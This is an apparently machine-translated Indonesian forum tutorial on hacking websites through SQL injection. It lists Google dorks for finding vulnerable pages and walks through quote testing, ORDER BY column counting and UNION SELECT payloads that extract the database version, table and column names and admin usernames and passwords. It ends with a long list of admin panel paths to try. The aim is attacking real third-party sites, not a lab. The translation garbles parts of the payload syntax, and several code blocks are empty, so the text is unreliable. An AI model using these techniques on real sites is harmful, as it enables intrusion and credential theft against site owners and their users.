Alat terakhir saya akan cover Havij. Havij adalah alat yang secara otomatis menyuntikkan situs untuk Anda. Aku benar-benar tidak suka orang yang menggunakan alat ini, terutama karena 90% dari orang-orang yang bahkan tidak tahu hal pertama tentang SQLi. Saya akan merekomendasikan hal ini meskipun jika Anda tahu bagaimana melakukan SQLi dan hanya mencoba untuk mendapatkan dump karena akan membantu mempercepat proses.Kode:] Http://www.itsecteam.com/en/projects/project1.htm
Bagian satu: Web penilaian HalamanJadi ini adalah awal dari hacking situs web. Dalam rangka untuk hack situs web Anda perlu tahu apakah itu rentan atau tidak. Anda juga perlu tahu apa versi itu sehingga Anda tahu apa metode injeksi untuk digunakan. Aku akan menutupi semua itu di bagian ini jadi mari kita mulai.
Bagian satu - Mencari situs rentan / memeriksa kerentanan.Cara terbaik untuk menemukan situs yang rentan adalah dengan menggunakan Dorks. Dorks adalah situs URL yang diketahui rentan. Dalam injeksi SQL ini Dorks terlihat seperti ini:Kode:trainers.php? id =article.php? ID =play_old.php id =?declaration_more.php? decl_id =Pageid =games.php? id =newsDetail.php id =?staff_id =historialeer.php? num =produk-item.php? id =news_view.php? id =humor.php? id =communique_detail.php id =?sem.php3 id =?opinions.php? id =spr.php? id =pages.php? id =chappies.php? id =prod_detail.php id =?viewphoto.php? id =view.php? id =website.php? id =hosting_info.php? id =gery.php? id =ID = detail.php?publications.php? id =Productinfo.php? Id =releases.php? id =ray.php? id =produit.php? id =pop.php? id =shopping.php? id =productdetail.php id =?post.php? id =section.php id =?theme.php? id =page.php? id =shredder-categories.php? id =product_ranges_view.php? ID =shop_category.php? id =channel_id =NewSID =news_display.php getId =?ages.php? id =clanek.php4? id =review.php? id =iniziativa.php? di =curriculum.php? id =labels.php? id =look.php? ID =galeri_info.php l =?tekst.php IDT =?newscat.php? id =newsticker_info.php idn =?rubrika.php idr =?offer.php? IDF =Sekarang untuk menggunakan dork Anda pergi ke google dan cari "inurl: dork Anda" seperti ini.Kode:inurl: games.php id =?Anda tidak diizinkan untuk melihat link. Daftar atau Login untuk melihat.
Sekarang setelah pemindaian konyol hanya menavigasi ke halaman. Untuk memeriksa apakah itu rentan semua yang perlu Anda lakukan adalah menambahkan 'pada akhir url seperti iniKode:http://www.vunlerable.com/games.php?id=56 '
Jika Anda mendapatkan error seperti ini atau sesuatu seperti itu, maka rentan terhadap injeksi.Kode:Peringatan: mysql_fetch_array (): argumen yang diberikan bukanlah sebuah hasil resource MySQL yang valid di / home1/michafj0/public_html/gallery.php on line 7

Bagian dua - Mencari jumlah kolom.Agar kita dapat menggunakan perintah dan mendapatkan hasil kita harus tahu berapa banyak kolom yang ada pada website. Jadi untuk menemukan jumlah kolom kita harus menggunakan perintah ORDER BY. Anda mulai dengan 1 dan terus naik sampai situs menghasilkan kesalahan seperti ini:Kode:<tidak error> http://www.vunlerable.com/games.php?id=56+order+by+1--<tidak error> http://www.vunlerable.com/games.php?id=56+order+by+2--<tidak error> http://www.vunlerable.com/games.php?id=56+order+by+3--<tidak error> http://www.vunlerable.com/games.php?id=56+order+by+4--http://www.vunlerable.com/games.php?id=56+order+by+5-- <Error>
Jadi karena kita punya dan kesalahan pada order by 5 tetapi tidak pada pesanan dengan 4, yang berarti bahwa jumlah kolom adalah 4.
Bagian tiga - Menemukan kolom rentanLangkah ini akan menunjukkan kepada kita apa kolom rentan sehingga kita dapat menyuntikkan mereka. Untuk melakukan ini kita harus menggunakan pernyataan UNION SELECT. Juga harap dicatat untuk bekerja dengan baik Anda harus menambahkan - setelah = seperti id ini =- 56Kode:,2,3,4 http://www.vunlerable.com/games.php?id=-56+union+select+1 -
Setelah melakukan ini, Anda akan melihat nomor pada halaman di mana informasi normal. Ini adalah kolom yang kita dapat menyuntikkan untuk tutorial saya kita akan mengatakan bahwa 2 dan 4 datang. Ini berarti bahwa 2 kolom dan kolom untuk dapat disuntikkan.
Bagian empat - Menemukan versiJadi sekarang bahwa kita memiliki jumlah kolom dan tahu apa yang kolom dapat disuntikkan kita perlu mencari tahu apa yang versi SQL server. Untuk melakukan ini kita memasukkan versi atau versi @ @ ke kolom injeksi.Kode:http://www.vunlerable.com/games.php?id=-56+union+select+1, versi () ,3,4 -
Sekarang harus kembali mengatakan sesuatu seperti ini di mana nomor yang berada di pada halaman.Kode:5.1.47-komunitas-logJika versi 4.something kemudian melihat Bagian tiga untuk belajar bagaimana menyuntikkan.
Bagian dua: Menyuntikkan versi 5 +Jadi sekarang kita tahu versi saatnya untuk mulai bekerja untuk mendapatkan informasi dari situs.
Bagian satu - Mendapatkan nama tabelOk jadi untuk mendapatkan nama tabel semua melakukan secara harfiah hanya meminta untuk mereka. Sejak versi 5 + memiliki database information_schema kita hanya bisa meminta database tabel. Untuk melakukan hal ini hanya menggunakan perintah berikut.Kode:
Yang akan menampilkan semua nama tabel, yang di topi yang tidak diperlukan sehingga Anda dapat mengabaikan mereka. Jika ada satu di akhir yang muncul harus dipotong berarti ini ada terlalu banyak untuk ditampilkan. Untuk memperbaiki yang kita gunakan perintah batas. Jika hanya 10 muncul dan yang 11 adalah dipotong kemudian menggunakannya seperti ini.Kode:

Bagian dua - Mendapatkan nama kolomOK sekarang bahwa kita memiliki nama tabel yang kita butuhkan untuk memilih meja untuk mendapatkan nama kolom dari. Yang paling umum mencari yang akan admin atau pengguna, sesuatu seperti itu. Jadi untuk tutorial ini kita akan mengatakan ada tabel bernama admin. Untuk mendapatkan nama kolom yang Anda butuhkan untuk mendapatkan nilai ASCII dari nama tabel. Nilai ASCII untuk admin ini 97.100.109.105.110 jadi sekarang bahwa kita memiliki nilai ASCII tabel memungkinkan mendapatkan nama kolom.Kode:
Sekarang akan menunjukkan kepada kita beberapa seperti nama kolom user_id, username, password, dan email.
Bagian tiga - Mendapatkan dataSekarang untuk bagian yang terbaik. Sudah waktunya untuk mendapatkan data yang kita inginkan. Apa yang kita lakukan adalah kinda seperti dua langkah terakhir tapi bukannya bertanya information_schema kita akan meminta data tabel kita adalah seperti ini.Kode:
Sekarang Anda akan melihat 0x3a antara setiap coulmn kami meminta data dari. Yah itu hanya hex untuk: itu membuat lebih mudah untuk membaca hasil.
Bagian empat - Menemukan halaman adminTergantung pada apa yang Anda coba lakukan, mendapatkan halaman admin biasanya sesuatu yang dibutuhkan. Ada dua cara anda dapat melakukan ini, alat atau manual. Yang paling efektif adalah hanya untuk menggunakan halaman admin sehingga Anda tidak perlu menghabiskan waktu menebak itu. Saya pikir Anda bisa setidaknya mencoba standar itu jika Anda tahu mereka di sini adalah daftar yang baik jika Anda tidak.Kode:http://www.vunlerable.com/admin/login.htmlKode:admin.phplogin.htmlogin.htmllogin /login.phpadm /admin /admin / account.htmladmin / login.htmladmin / login.htmadmin / home.phpadmin / controlpanel.htmladmin / controlpanel.htmadmin / cp.PHPadmin / adminLogin.htmladmin / adminLogin.htmadmin / admin_login.PHPadmin / controlpanel.PHPadmin / admin-login.phpadmin-login.phpadmin / account.PHPadmin / admin.phpadmin.htmadmin.htmladminitem /adminitem.PHPadminitems /adminitems.PHPadministrator /administrator / login.phpadministrator.PHPadministrasi /administration.PHPadminLogin /adminlogin.PHPadmin_area / admin.phpadmin_area /admin_area / login.phpmanajer /manager.PHPletmein /letmein.PHPsuperuser /superuser.PHPakses /access.phpsysadm /sysadm.PHPsuperman /pengawas /panel.PHPkontrol /control.PHPanggota /member.phpanggota /members.PHPpengguna /user.phpcp /uvpanel /mengelola /manage.PHPmanajemen /management.PHPsignin /signin.PHPlog in /log-in.PHPlog_in /log_in.PHPsign_in /sign_in.PHPsign-in /tanda-in.PHPpengguna /users.PHPaccount /accounts.PHPwp-login.phpbb-admin/login.PHPbb-admin/admin.PHPbb-admin/admin.htmladministrator / account.PHPrelogin.htmrelogin.htmlcheck.PHPrelogin.PHPprocesslogin.PHPchecklogin.PHPcheckuser.PHPcheckadmin.PHPisadmin.PHPauthenticate.PHPauthentication.PHPauth.PHPauthuser.PHPauthadmin.PHPcp.PHPmodelsearch / login.phpmoderator.PHPmoderator /ControlPanel /controlpanel.PHPadmincontrol.PHPadminpanel.PHPfileadmin /fileadmin.PHPsysadmin.PHPadmin1.PHPadmin1.htmladmin1.htmadmin2.PHPadmin2.htmlyonetim.PHPyonetim.htmlyonetici.PHPyonetici.htmlphpmyadmin /MyAdmin /ur-admin.phpur-admin /Server.PHPServer /wp-admin /administr8.PHPadministr8 /webadmin /webadmin.PHPadministratie /admin /admins.PHPadministrivia /Database_Administration /useradmin /sysadmin /admin1 /sistem administrasi /administrator /pgAdmin /DirectAdmin /staradmin /ServerAdministrator /Sysadmin /mengelola /LiveUser_Admin /sys-admin /TYPO3 /panel /cpanel /cpanel_file /platz_login /rcLogin /blogindex /formslogin /autologin /support_login /meta_login /manuallogin /simpleLogin /loginflat /utility_login /showlogin /memlogin /login-redirect /sub-login /wp-login /login1 /dir-login /login_db /xlogin /smblogin /customer_login /UserLogin /login-kami /acct_login /bigadmin /proyek-admin /phpPgAdmin /pureadmin /sql-admin /radmind /openvpnadmin /wizmysqladmin /vadmind /ezsqliteadmin /hpwebjetadmin /newsadmin /adminpro /Lotus_Domino_Admin /bbadmin /vmailadmin /Indy_admin /ccp14admin /irc-macadmin /banneradmin /sshadmin /phpldapadmin /macadmin /administratoraccounts /admin4_account /admin4_colon /radmind-1 /Super-Admin /AdminTools /cmsadmin /SysAdmin2 /globes_admin /cadmins /phpSQLiteAdmin /navSiteAdmin /server_admin_small /logo_sysadmin /power_user /system_administration /ss_vms_admin_sm /bb-admin /panel-administracion /instadmin /memberadmin /administratorlogin /adm.PHPadmin_login.PHPpanel-administracion/login.PHPhalaman / admin / admin-login.phphalaman / admin /acceso.PHPAdminCP / login.phpAdminCP /adminarea /admincontrol /affiliate.PHPadm_auth.PHPmemberadmin.PHPadministratorlogin.PHPmodul / admin /administrators.PHPsiteadmin /siteadmin.PHPadminsite /kpanel /vorod /vorod.PHPvorud /vorud.PHPadminpanel /PSUser /aman /webmaster /webmaster.PHPautologin.PHPuserlogin.PHPadmin_area.PHPcmsadmin.PHPkeamanan /usr /root /rahasia /admin / login.phpadmin / adminLogin.PHPmoderator.phpmoderator.htmlmoderator / login.phpmoderator / admin.phpyonetici.PHP0admin /0manager /aadmin /cgi-bin/loginPHPlogin1PHPlogin_admin /login_adminPHPlogin_out /login_outPHPlogin_userPHPLoginerror /loginok /loginsave /loginsuper /loginsuperPHPloginPHPlogout /logoutPHPrahasia /super1 /super1PHPsuper_indexPHPsuper_loginPHPsupermanagerPHPsupermanPHPsuperuserPHPmengawasi /mengawasi / LoginPHPsuperPHP
Bagian Tiga: Menyuntikkan versi> 5Sekarang ini cukup banyak seperti suntikan versi 5 + Satu-satunya perbedaan adalah bahwa Anda harus menebak tabel dan nama kolom. Hal ini karena versi> 5 tidak memiliki database information_schema.Bagian satu - Menebak nama tabelIni adalah bagian bagian yang sulit menebak nama tabel. Cara Anda menebak mereka adalah sebenarnya cukup sederhana. Anda menggunakan perintah serikat pilih seperti biasa kecuali untuk mengakhiri.Kode:http://www.vunlerable.com/games.php?id=56+union+select+1, 2,3,4 + dari + admin - <error>http://www.vunlerable.com/games.php?id=56+union+select+1, 2,3,4 + dari user + - <error>http://www.vunlerable.com/games.php?id=56+union+select+1, 2,3,4 + dari + pengguna - <tidak error>Karena kita punya sekarang error ketika memeriksa apakah ada nama tabel "pengguna" yang akan berarti bahwa meja ada.Bagian dua - Nama Kolom MenebakHal ini dilakukan hampir cara yang sama kita menduga untuk tabel. Hanya sekarang kita menebak nama kolom seperti bagaimana kita meminta data kami.Kode:http://www.vunlerable.com/games.php?id=56+union+select+1, id, 3,4 + dari + admin - <error>http://www.vunlerable.com/games.php?id=56+union+select+1, userid, 3,4 + dari + admin - <error>http://www.vunlerable.com/games.php?id=56+union+select+1, user_id, 3,4 + dari + admin - <tidak error>http://www.vunlerable.com/games.php?id=56+union+select+1, nama, 3,4 + dari + admin - <error>http://www.vunlerable.com/games.php?id=56+union+select+1, nama pengguna, 3,4 + dari + admin - <error>http://www.vunlerable.com/games.php?id=56+union+select+1, user_name, 3,4 + dari + admin - <tidak error>http://www.vunlerable.com/games.php?id=56+union+select+1, sandi, 3,4 + dari + admin - <tidak error>http://www.vunlerable.com/games.php?id=56+union+select+1, email, 3,4 + dari + admin - <error>http://www.vunlerable.com/games.php?id=56+union+select+1, USER_EMAIL, 3,4 + dari + admin - <tidak error>Sekarang kita tahu bahwa kolom user_id, user_name, password, dan USER_EMAIL ada. Kita sekarang dapat melanjutkan untuk mendapatkan data.Bagian tiga - Mendapatkan dataSekarang kita tahu tabel dan nama kolom saatnya untuk mendapatkan data. Bagian besar itu dilakukan dengan cara yang sama Anda lakukan pada versi 5 +Kode:



Kami akan ada di tutorial saya di SQLi Saya harap kalian menyukainya dan belajar sesuatu dari itu. Saya berencana untuk memperbarui ini di masa depan untuk memasukkan SQLi buta dan bagaimana menyuntikkan beberapa login. Jika ada sesuatu yang Anda melihat sesuatu yang salah atau hanya yang harus ditambahkan biarkan aku tahu sehingga aku bisa memperbaiki / menambahkan.